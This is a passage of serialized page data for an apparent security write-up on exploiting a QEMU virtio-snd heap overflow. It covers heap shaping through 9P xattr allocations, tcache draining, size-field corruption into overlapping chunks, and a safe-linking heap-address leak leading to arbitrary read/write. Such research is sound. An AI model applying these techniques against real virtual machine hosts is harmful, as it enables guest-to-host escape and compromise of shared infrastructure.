xattr_fidp",{"type":25,"tag":201,"props":129580,"children":129581},{"style":220},[129582],{"type":31,"value":15259},{"type":25,"tag":201,"props":129584,"children":129585},{"style":246},[129586],{"type":31,"value":38052},{"type":25,"tag":201,"props":129588,"children":129589},{"style":220},[129590],{"type":31,"value":80},{"type":25,"tag":201,"props":129592,"children":129593},{"style":246},[129594],{"type":31,"value":129502},{"type":25,"tag":201,"props":129596,"children":129597},{"style":220},[129598],{"type":31,"value":80},{"type":25,"tag":201,"props":129600,"children":129601},{"style":246},[129602],{"type":31,"value":40222},{"type":25,"tag":201,"props":129604,"children":129605},{"style":261},[129606],{"type":31,"value":413},{"type":25,"tag":201,"props":129608,"children":129609},{"style":214},[129610],{"type":31,"value":125257},{"type":25,"tag":201,"props":129612,"children":129613},{"style":220},[129614],{"type":31,"value":129615},"(size);\n",{"type":25,"tag":201,"props":129617,"children":129618},{"class":203,"line":783},[129619],{"type":25,"tag":201,"props":129620,"children":129621},{"style":220},[129622],{"type":31,"value":1187},{"type":25,"tag":34,"props":129624,"children":129625},{},[129626,129628,129633,129635,129640,129641,129646,129648,129653],{"type":31,"value":129627},"Because the ",{"type":25,"tag":115,"props":129629,"children":129631},{"className":129630},[],[129632],{"type":31,"value":128989},{"type":31,"value":129634}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":25,"tag":115,"props":129636,"children":129638},{"className":129637},[],[129639],{"type":31,"value":128989},{"type":31,"value":12493},{"type":25,"tag":115,"props":129642,"children":129644},{"className":129643},[],[129645],{"type":31,"value":128996},{"type":31,"value":129647},", not just the ",{"type":25,"tag":115,"props":129649,"children":129651},{"className":129650},[],[129652],{"type":31,"value":128996},{"type":31,"value":129654}," we actually care about. But we will get around this later in the blog post.",{"type":25,"tag":34,"props":129656,"children":129657},{},[129658,129659,129664],{"type":31,"value":18109},{"type":25,"tag":115,"props":129660,"children":129662},{"className":129661},[],[129663],{"type":31,"value":128996},{"type":31,"value":129665}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":25,"tag":34,"props":129667,"children":129668},{},[129669,129671,129676,129678,129684,129686,129692,129694,129700],{"type":31,"value":129670},"Once allocated, we can write arbitrary bytes into the ",{"type":25,"tag":115,"props":129672,"children":129674},{"className":129673},[],[129675],{"type":31,"value":128996},{"type":31,"value":129677}," buffer through a ",{"type":25,"tag":115,"props":129679,"children":129681},{"className":129680},[],[129682],{"type":31,"value":129683},"P9_TWRITE",{"type":31,"value":129685}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":25,"tag":115,"props":129687,"children":129689},{"className":129688},[],[129690],{"type":31,"value":129691},"P9_TREAD",{"type":31,"value":129693},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":25,"tag":115,"props":129695,"children":129697},{"className":129696},[],[129698],{"type":31,"value":129699},"P9_TCLUNK",{"type":31,"value":129701}," request on that same FID.",{"type":25,"tag":34,"props":129703,"children":129704},{},[129705,129707,129713],{"type":31,"value":129706},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":25,"tag":115,"props":129708,"children":129710},{"className":129709},[],[129711],{"type":31,"value":129712},"65536",{"type":31,"value":129714}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":25,"tag":40,"props":129716,"children":129718},{"id":129717},"setting-the-heap-layout",[129719],{"type":31,"value":129720},"Setting the Heap Layout",{"type":25,"tag":34,"props":129722,"children":129723},{},[129724,129726,129731],{"type":31,"value":129725},"Ideally, we want a contiguous heap region consisting only of ",{"type":25,"tag":115,"props":129727,"children":129729},{"className":129728},[],[129730],{"type":31,"value":128996},{"type":31,"value":129732}," allocations, like this:",{"type":25,"tag":191,"props":129734,"children":129736},{"code":129735},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[129737],{"type":25,"tag":115,"props":129738,"children":129739},{"__ignoreMap":7},[129740],{"type":31,"value":129735},{"type":25,"tag":34,"props":129742,"children":129743},{},[129744,129746,129751,129753,129758,129760,129765],{"type":31,"value":129745},"This lets us later create holes by freeing every other ",{"type":25,"tag":115,"props":129747,"children":129749},{"className":129748},[],[129750],{"type":31,"value":128996},{"type":31,"value":129752}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":25,"tag":115,"props":129754,"children":129756},{"className":129755},[],[129757],{"type":31,"value":125344},{"type":31,"value":129759}," field of the next live ",{"type":25,"tag":115,"props":129761,"children":129763},{"className":129762},[],[129764],{"type":31,"value":128996},{"type":31,"value":129766}," chunk.",{"type":25,"tag":34,"props":129768,"children":129769},{},[129770],{"type":31,"value":129771},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":25,"tag":34,"props":129773,"children":129774},{},[129775,129777,129782,129784,129789,129791,129796,129798,129803],{"type":31,"value":129776},"As mentioned earlier, ",{"type":25,"tag":115,"props":129778,"children":129780},{"className":129779},[],[129781],{"type":31,"value":129033},{"type":31,"value":129783}," always allocates two chunks: one for ",{"type":25,"tag":115,"props":129785,"children":129787},{"className":129786},[],[129788],{"type":31,"value":128989},{"type":31,"value":129790}," and one for ",{"type":25,"tag":115,"props":129792,"children":129794},{"className":129793},[],[129795],{"type":31,"value":128996},{"type":31,"value":129797},". We want to avoid having ",{"type":25,"tag":115,"props":129799,"children":129801},{"className":129800},[],[129802],{"type":31,"value":128989},{"type":31,"value":129804}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":25,"tag":6944,"props":129806,"children":129807},{},[129808,129820],{"type":25,"tag":6948,"props":129809,"children":129810},{},[129811,129813,129818],{"type":31,"value":129812},"Make ",{"type":25,"tag":115,"props":129814,"children":129816},{"className":129815},[],[129817],{"type":31,"value":128989},{"type":31,"value":129819}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":25,"tag":6948,"props":129821,"children":129822},{},[129823,129825,129830,129832,129837,129839,129844],{"type":31,"value":129824},"Prepare a separate region whose sole purpose is to absorb ",{"type":25,"tag":115,"props":129826,"children":129828},{"className":129827},[],[129829],{"type":31,"value":128989},{"type":31,"value":129831},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":25,"tag":115,"props":129833,"children":129835},{"className":129834},[],[129836],{"type":31,"value":128989},{"type":31,"value":129838}," allocations from that separate freelist instead of placing them next to our ",{"type":25,"tag":115,"props":129840,"children":129842},{"className":129841},[],[129843],{"type":31,"value":128996},{"type":31,"value":129845}," chunks.",{"type":25,"tag":20392,"props":129847,"children":129849},{"id":129848},"separating-name-allocations",[129850],{"type":31,"value":129851},"Separating .name allocations",{"type":25,"tag":34,"props":129853,"children":129854},{},[129855,129857,129862,129864,129869],{"type":31,"value":129856},"We chose the second option. However, it is not as simple as issuing ",{"type":25,"tag":115,"props":129858,"children":129860},{"className":129859},[],[129861],{"type":31,"value":129033},{"type":31,"value":129863}," for N ",{"type":25,"tag":115,"props":129865,"children":129867},{"className":129866},[],[129868],{"type":31,"value":128989},{"type":31,"value":129870},"-sized allocations and then freeing them.",{"type":25,"tag":34,"props":129872,"children":129873},{},[129874,129876,129881,129882,129887,129888,129893,129895,129900,129902,129907],{"type":31,"value":129875},"At this point, we already know that ",{"type":25,"tag":115,"props":129877,"children":129879},{"className":129878},[],[129880],{"type":31,"value":129033},{"type":31,"value":129783},{"type":25,"tag":115,"props":129883,"children":129885},{"className":129884},[],[129886],{"type":31,"value":128989},{"type":31,"value":129790},{"type":25,"tag":115,"props":129889,"children":129891},{"className":129890},[],[129892],{"type":31,"value":128996},{"type":31,"value":129894},". If we simply call it with ",{"type":25,"tag":115,"props":129896,"children":129898},{"className":129897},[],[129899],{"type":31,"value":128996},{"type":31,"value":129901}," sized the same as ",{"type":25,"tag":115,"props":129903,"children":129905},{"className":129904},[],[129906],{"type":31,"value":128989},{"type":31,"value":129908},", we get a layout like this:",{"type":25,"tag":191,"props":129910,"children":129912},{"code":129911},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[129913],{"type":25,"tag":115,"props":129914,"children":129915},{"__ignoreMap":7},[129916],{"type":31,"value":129911},{"type":25,"tag":34,"props":129918,"children":129919},{},[129920,129922,129927,129929,129935,129937,129943,129945,129950,129952,129957,129959,129964],{"type":31,"value":129921},"With that heap state, issuing a ",{"type":25,"tag":115,"props":129923,"children":129925},{"className":129924},[],[129926],{"type":31,"value":129699},{"type":31,"value":129928}," request would first free ",{"type":25,"tag":115,"props":129930,"children":129932},{"className":129931},[],[129933],{"type":31,"value":129934},".name A",{"type":31,"value":129936}," and then ",{"type":25,"tag":115,"props":129938,"children":129940},{"className":129939},[],[129941],{"type":31,"value":129942},".value A",{"type":31,"value":129944},". When ",{"type":25,"tag":115,"props":129946,"children":129948},{"className":129947},[],[129949],{"type":31,"value":129942},{"type":31,"value":129951}," is freed, the allocator sees that the preceding chunk ",{"type":25,"tag":115,"props":129953,"children":129955},{"className":129954},[],[129956],{"type":31,"value":129934},{"type":31,"value":129958}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":25,"tag":115,"props":129960,"children":129962},{"className":129961},[],[129963],{"type":31,"value":128989},{"type":31,"value":129965},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":25,"tag":34,"props":129967,"children":129968},{},[129969],{"type":31,"value":129970},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":25,"tag":34,"props":129972,"children":129973},{},[129974,129976,129981,129983,129988,129990,129995,129997,130003,130005,130010,130012,130018],{"type":31,"value":129975},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":25,"tag":115,"props":129977,"children":129979},{"className":129978},[],[129980],{"type":31,"value":128989},{"type":31,"value":129982}," allocation remains fixed at size ",{"type":25,"tag":115,"props":129984,"children":129986},{"className":129985},[],[129987],{"type":31,"value":106151},{"type":31,"value":129989},". We first allocate 16 xattrs whose ",{"type":25,"tag":115,"props":129991,"children":129993},{"className":129992},[],[129994],{"type":31,"value":128996},{"type":31,"value":129996}," size is ",{"type":25,"tag":115,"props":129998,"children":130000},{"className":129999},[],[130001],{"type":31,"value":130002},"0x30",{"type":31,"value":130004},". After that, we allocate another 16 xattrs, this time with ",{"type":25,"tag":115,"props":130006,"children":130008},{"className":130007},[],[130009],{"type":31,"value":128996},{"type":31,"value":130011}," size ",{"type":25,"tag":115,"props":130013,"children":130015},{"className":130014},[],[130016],{"type":31,"value":130017},"0x40",{"type":31,"value":130019},", and continue in the same way for each tcache size class.",{"type":25,"tag":34,"props":130021,"children":130022},{},[130023],{"type":31,"value":130024},"This yields the following layout:",{"type":25,"tag":191,"props":130026,"children":130028},{"code":130027},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[130029],{"type":25,"tag":115,"props":130030,"children":130031},{"__ignoreMap":7},[130032],{"type":31,"value":130027},{"type":25,"tag":34,"props":130034,"children":130035},{},[130036,130038,130043,130045,130050,130052,130057,130059,130064,130066,130071,130073,130078,130079,130084,130086,130091,130093,130098,130100,130105,130107,130112,130114,130119],{"type":31,"value":130037},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":25,"tag":115,"props":130039,"children":130041},{"className":130040},[],[130042],{"type":31,"value":128989},{"type":31,"value":130044}," chunks end up in the ",{"type":25,"tag":115,"props":130046,"children":130048},{"className":130047},[],[130049],{"type":31,"value":106151},{"type":31,"value":130051}," tcache bin, along with the interleaved ",{"type":25,"tag":115,"props":130053,"children":130055},{"className":130054},[],[130056],{"type":31,"value":128996},{"type":31,"value":130058}," chunks of size ",{"type":25,"tag":115,"props":130060,"children":130062},{"className":130061},[],[130063],{"type":31,"value":130002},{"type":31,"value":130065},". The next 16 ",{"type":25,"tag":115,"props":130067,"children":130069},{"className":130068},[],[130070],{"type":31,"value":128989},{"type":31,"value":130072}," chunks are interleaved with ",{"type":25,"tag":115,"props":130074,"children":130076},{"className":130075},[],[130077],{"type":31,"value":128996},{"type":31,"value":130058},{"type":25,"tag":115,"props":130080,"children":130082},{"className":130081},[],[130083],{"type":31,"value":130017},{"type":31,"value":130085},"; when freed, those ",{"type":25,"tag":115,"props":130087,"children":130089},{"className":130088},[],[130090],{"type":31,"value":128996},{"type":31,"value":130092}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":25,"tag":115,"props":130094,"children":130096},{"className":130095},[],[130097],{"type":31,"value":128989},{"type":31,"value":130099}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":25,"tag":115,"props":130101,"children":130103},{"className":130102},[],[130104],{"type":31,"value":128989},{"type":31,"value":130106},"-sized chunks that will later be served to the ",{"type":25,"tag":115,"props":130108,"children":130110},{"className":130109},[],[130111],{"type":31,"value":128989},{"type":31,"value":130113}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":25,"tag":115,"props":130115,"children":130117},{"className":130116},[],[130118],{"type":31,"value":128996},{"type":31,"value":129845},{"type":25,"tag":40,"props":130121,"children":130123},{"id":130122},"corrupting-the-size",[130124],{"type":31,"value":130125},"Corrupting the Size",{"type":25,"tag":34,"props":130127,"children":130128},{},[130129,130131,130136,130138,130143,130145,130150,130152,130157,130158,130163],{"type":31,"value":130130},"The input format is guest-controlled, and we choose ",{"type":25,"tag":115,"props":130132,"children":130134},{"className":130133},[],[130135],{"type":31,"value":4928},{"type":31,"value":130137}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":25,"tag":115,"props":130139,"children":130141},{"className":130140},[],[130142],{"type":31,"value":4928},{"type":31,"value":130144}," is centered at ",{"type":25,"tag":115,"props":130146,"children":130148},{"className":130147},[],[130149],{"type":31,"value":30923},{"type":31,"value":130151}," (rather than ",{"type":25,"tag":115,"props":130153,"children":130155},{"className":130154},[],[130156],{"type":31,"value":127251},{"type":31,"value":127238},{"type":25,"tag":115,"props":130159,"children":130161},{"className":130160},[],[130162],{"type":31,"value":127229},{"type":31,"value":130164},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":25,"tag":34,"props":130166,"children":130167},{},[130168,130170,130175],{"type":31,"value":130169},"As we already concluded, ",{"type":25,"tag":115,"props":130171,"children":130173},{"className":130172},[],[130174],{"type":31,"value":126694},{"type":31,"value":130176}," is called with the amount:",{"type":25,"tag":191,"props":130178,"children":130180},{"code":130179},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[130181],{"type":25,"tag":115,"props":130182,"children":130183},{"__ignoreMap":7},[130184],{"type":31,"value":130179},{"type":25,"tag":34,"props":130186,"children":130187},{},[130188,130190,130195,130197,130202],{"type":31,"value":130189},"And as mentioned earlier, ",{"type":25,"tag":115,"props":130191,"children":130193},{"className":130192},[],[130194],{"type":31,"value":126725},{"type":31,"value":130196}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":25,"tag":115,"props":130198,"children":130200},{"className":130199},[],[130201],{"type":31,"value":125344},{"type":31,"value":59405},{"type":25,"tag":34,"props":130204,"children":130205},{},[130206,130208,130213,130215,130220],{"type":31,"value":130207},"With the desired heap layout of repeated ",{"type":25,"tag":115,"props":130209,"children":130211},{"className":130210},[],[130212],{"type":31,"value":128898},{"type":31,"value":130214},"-sized ",{"type":25,"tag":115,"props":130216,"children":130218},{"className":130217},[],[130219],{"type":31,"value":128996},{"type":31,"value":130221}," chunks in place, we can then free every other one:",{"type":25,"tag":191,"props":130223,"children":130225},{"code":130224},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[130226],{"type":25,"tag":115,"props":130227,"children":130228},{"__ignoreMap":7},[130229],{"type":31,"value":130224},{"type":25,"tag":34,"props":130231,"children":130232},{},[130233,130235,130240],{"type":31,"value":130234},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":25,"tag":115,"props":130236,"children":130238},{"className":130237},[],[130239],{"type":31,"value":128996},{"type":31,"value":130241}," chunk directly next to it:",{"type":25,"tag":191,"props":130243,"children":130245},{"code":130244},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[130246],{"type":25,"tag":115,"props":130247,"children":130248},{"__ignoreMap":7},[130249],{"type":31,"value":130244},{"type":25,"tag":34,"props":130251,"children":130252},{},[130253,130255,130260,130262,130267],{"type":31,"value":130254},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":25,"tag":115,"props":130256,"children":130258},{"className":130257},[],[130259],{"type":31,"value":128898},{"type":31,"value":130261},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":25,"tag":115,"props":130263,"children":130265},{"className":130264},[],[130266],{"type":31,"value":128996},{"type":31,"value":130268}," chunk now has a corrupted and likely oversized size field:",{"type":25,"tag":191,"props":130270,"children":130272},{"code":130271},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130273],{"type":25,"tag":115,"props":130274,"children":130275},{"__ignoreMap":7},[130276],{"type":31,"value":130271},{"type":25,"tag":34,"props":130278,"children":130279},{},[130280,130282,130287],{"type":31,"value":130281},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":25,"tag":115,"props":130283,"children":130285},{"className":130284},[],[130286],{"type":31,"value":128913},{"type":31,"value":5997},{"type":25,"tag":191,"props":130289,"children":130291},{"code":130290},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[130292],{"type":25,"tag":115,"props":130293,"children":130294},{"__ignoreMap":7},[130295],{"type":31,"value":130290},{"type":25,"tag":34,"props":130297,"children":130298},{},[130299,130301,130306],{"type":31,"value":130300},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":25,"tag":115,"props":130302,"children":130304},{"className":130303},[],[130305],{"type":31,"value":128913},{"type":31,"value":3953},{"type":25,"tag":191,"props":130308,"children":130310},{"code":130309},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[130311],{"type":25,"tag":115,"props":130312,"children":130313},{"__ignoreMap":7},[130314],{"type":31,"value":130309},{"type":25,"tag":34,"props":130316,"children":130317},{},[130318,130320,130326],{"type":31,"value":130319},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":25,"tag":115,"props":130321,"children":130323},{"className":130322},[],[130324],{"type":31,"value":130325},"0x400",{"type":31,"value":130327}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":25,"tag":191,"props":130329,"children":130331},{"code":130330},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130332],{"type":25,"tag":115,"props":130333,"children":130334},{"__ignoreMap":7},[130335],{"type":31,"value":130330},{"type":25,"tag":40,"props":130337,"children":130339},{"id":130338},"leaking-a-heap-address",[130340],{"type":31,"value":130341},"Leaking a Heap Address",{"type":25,"tag":34,"props":130343,"children":130344},{},[130345],{"type":31,"value":130346},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":25,"tag":34,"props":130348,"children":130349},{},[130350,130352,130358],{"type":31,"value":130351},"To do this, we abuse the forward (",{"type":25,"tag":115,"props":130353,"children":130355},{"className":130354},[],[130356],{"type":31,"value":130357},"fd",{"type":31,"value":130359},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":25,"tag":191,"props":130361,"children":130363},{"code":130362},"fd = next ^ (curr >> 12)\n",[130364],{"type":25,"tag":115,"props":130365,"children":130366},{"__ignoreMap":7},[130367],{"type":31,"value":130362},{"type":25,"tag":34,"props":130369,"children":130370},{},[130371,130373,130378,130379,130384],{"type":31,"value":130372},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":25,"tag":115,"props":130374,"children":130376},{"className":130375},[],[130377],{"type":31,"value":58644},{"type":31,"value":7010},{"type":25,"tag":115,"props":130380,"children":130382},{"className":130381},[],[130383],{"type":31,"value":55574},{"type":31,"value":130385}," because there is no following entry. In that case, the encoding becomes:",{"type":25,"tag":191,"props":130387,"children":130389},{"code":130388},"fd = 0 ^ (curr >> 12)\n",[130390],{"type":25,"tag":115,"props":130391,"children":130392},{"__ignoreMap":7},[130393],{"type":31,"value":130388},{"type":25,"tag":34,"props":130395,"children":130396},{},[130397,130399,130404],{"type":31,"value":130398},"So if we free a single chunk into an empty tcache bin, its ",{"type":25,"tag":115,"props":130400,"children":130402},{"className":130401},[],[130403],{"type":31,"value":130357},{"type":31,"value":130405}," field is effectively just the chunk address shifted right by 12.",{"type":25,"tag":34,"props":130407,"children":130408},{},[130409],{"type":31,"value":130410},"In the overlap we achieved earlier:",{"type":25,"tag":191,"props":130412,"children":130414},{"code":130413},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[130415],{"type":25,"tag":115,"props":130416,"children":130417},{"__ignoreMap":7},[130418],{"type":31,"value":130413},{"type":25,"tag":34,"props":130420,"children":130421},{},[130422,130424,130430,130432,130438,130440,130446,130448,130453],{"type":31,"value":130423},"We first free ",{"type":25,"tag":115,"props":130425,"children":130427},{"className":130426},[],[130428],{"type":31,"value":130429},".value C",{"type":31,"value":130431}," into tcache and read its contents through the oversized ",{"type":25,"tag":115,"props":130433,"children":130435},{"className":130434},[],[130436],{"type":31,"value":130437},".value Y",{"type":31,"value":130439},". This gives us ",{"type":25,"tag":115,"props":130441,"children":130443},{"className":130442},[],[130444],{"type":31,"value":130445},".value C >> 12",{"type":31,"value":130447},". That is not yet the exact address of ",{"type":25,"tag":115,"props":130449,"children":130451},{"className":130450},[],[130452],{"type":31,"value":130429},{"type":31,"value":130454},", since the lower 12 bits are lost.",{"type":25,"tag":34,"props":130456,"children":130457},{},[130458,130460,130465,130467,130472,130474,130479,130481,130486],{"type":31,"value":130459},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":25,"tag":115,"props":130461,"children":130463},{"className":130462},[],[130464],{"type":31,"value":130429},{"type":31,"value":130466},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":25,"tag":115,"props":130468,"children":130470},{"className":130469},[],[130471],{"type":31,"value":130429},{"type":31,"value":130473}," again. This time, ",{"type":25,"tag":115,"props":130475,"children":130477},{"className":130476},[],[130478],{"type":31,"value":58644},{"type":31,"value":130480}," is no longer ",{"type":25,"tag":115,"props":130482,"children":130484},{"className":130483},[],[130485],{"type":31,"value":55574},{"type":31,"value":130487},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":25,"tag":191,"props":130489,"children":130490},{"code":130362},[130491],{"type":25,"tag":115,"props":130492,"children":130493},{"__ignoreMap":7},[130494],{"type":31,"value":130362},{"type":25,"tag":34,"props":130496,"children":130497},{},[130498,130500,130506,130508,130513,130515,130520,130522,130527],{"type":31,"value":130499},"Since we already know ",{"type":25,"tag":115,"props":130501,"children":130503},{"className":130502},[],[130504],{"type":31,"value":130505},"curr >> 12",{"type":31,"value":130507}," from the first leak, we can read the new ",{"type":25,"tag":115,"props":130509,"children":130511},{"className":130510},[],[130512],{"type":31,"value":130357},{"type":31,"value":130514}," value from ",{"type":25,"tag":115,"props":130516,"children":130518},{"className":130517},[],[130519],{"type":31,"value":130429},{"type":31,"value":130521}," and recover the exact address of ",{"type":25,"tag":115,"props":130523,"children":130525},{"className":130524},[],[130526],{"type":31,"value":58644},{"type":31,"value":130528}," by reversing the XOR:",{"type":25,"tag":191,"props":130530,"children":130532},{"code":130531},"next = fd ^ (curr >> 12)\n",[130533],{"type":25,"tag":115,"props":130534,"children":130535},{"__ignoreMap":7},[130536],{"type":31,"value":130531},{"type":25,"tag":34,"props":130538,"children":130539},{},[130540],{"type":31,"value":130541},"This gives us the exact address of a heap chunk whose contents we control.",{"type":25,"tag":40,"props":130543,"children":130545},{"id":130544},"arbitrary-read-and-write",[130546],{"type":31,"value":130547},"Arbitrary Read and Write",{"type":25,"tag":34,"props":130549,"children":130550},{},[130551,130553,130558],{"type":31,"value":130552},"Having a controlled chunk at a known address lets us repurpose ",{"type":25,"tag":115,"props":130554,"children":130556},{"className":130555},[],[130557],{"type":31,"value":130429},{"type":31,"value":130559}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":25,"tag":34,"props":130561,"children":130562},{},[130563,130565,130570],{"type":31,"value":130564},"Recall ",{"type":25,"tag":115,"props":130566,"children":130568},{"className":130567},[],[130569],{"type":31,"value":129033},{"type":31,"value":5997},{"type":25,"tag":191,"props":130572,"children":130574},{"code":130573,"language":4652,"meta":7,"className":18010,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[130575],{"type":25,"tag":115,"props":130576,"children":130577},{"__ignoreMap":7},[130578,130617,130624,130635,130650,130665,130672,130679,130686,130708,130715,130722,130729,130737,130754,130793,130836,130843],{"type":25,"tag":201,"props":130579,"children":130580},{"class":203,"line":204},[130581,130585,130589,130593,130597,130601,130605,130609,130613],{"type":25,"tag":201,"props":130582,"children":130583},{"style":208},[130584],{"type":31,"value":52122},{"type":25,"tag":201,"props":130586,"children":130587},{"style":208},[130588],{"type":31,"value":52127},{"type":25,"tag":201,"props":130590,"children":130591},{"style":220},[130592],{"type":31,"value":129028},{"type":25,"tag":201,"props":130594,"children":130595},{"style":214},[130596],{"type":31,"value":129033},{"type":25,"tag":201,"props":130598,"children":130599},{"style":220},[130600],{"type":31,"value":298},{"type":25,"tag":201,"props":130602,"children":130603},{"style":208},[130604],{"type":31,"value":52705},{"type":25,"tag":201,"props":130606,"children":130607},{"style":261},[130608],{"type":31,"value":11319},{"type":25,"tag":201,"props":130610,"children":130611},{"style":246},[130612],{"type":31,"value":129050},{"type":25,"tag":201,"props":130614,"children":130615},{"style":220},[130616],{"type":31,"value":4666},{"type":25,"tag":201,"props":130618,"children":130619},{"class":203,"line":226},[130620],{"type":25,"tag":201,"props":130621,"children":130622},{"style":220},[130623],{"type":31,"value":1822},{"type":25,"tag":201,"props":130625,"children":130626},{"class":203,"line":278},[130627,130631],{"type":25,"tag":201,"props":130628,"children":130629},{"style":208},[130630],{"type":31,"value":56691},{"type":25,"tag":201,"props":130632,"children":130633},{"style":220},[130634],{"type":31,"value":125686},{"type":25,"tag":201,"props":130636,"children":130637},{"class":203,"line":311},[130638,130642,130646],{"type":25,"tag":201,"props":130639,"children":130640},{"style":220},[130641],{"type":31,"value":129175},{"type":25,"tag":201,"props":130643,"children":130644},{"style":261},[130645],{"type":31,"value":6077},